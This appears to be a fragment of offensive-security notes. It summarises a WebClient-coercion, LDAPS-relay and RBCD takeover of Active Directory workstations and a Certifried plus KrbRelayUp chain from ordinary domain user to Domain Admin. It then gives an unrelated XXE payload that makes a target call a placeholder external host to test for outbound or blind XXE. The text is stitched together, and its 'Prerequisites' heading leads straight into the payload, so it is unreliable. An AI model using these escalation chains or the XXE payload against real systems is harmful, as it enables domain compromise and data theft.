srand2

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
Relaying that machine authentication to LDAPS for configuring RBCD
RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

Certifried combined with KrbRelayUp

Certifried (CVE-2022-26923) gives Domain Admin from non-privileged user with the requirement adding computer accounts or owning a computer account. Kerberos Relay targeting LDAP and Shadow Credentials gives a non-privileged domain user on a domain-joined machine local admin access on (aka owning) the machine. Combination of these two: non-privileged domain user escalating to Domain Admin without the requirement adding/owning computer accounts.

The attack below uses only Windows (no Linux tools interacting with the Domain), simulating a real-world attack scenario.

Prerequisites:

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
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	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>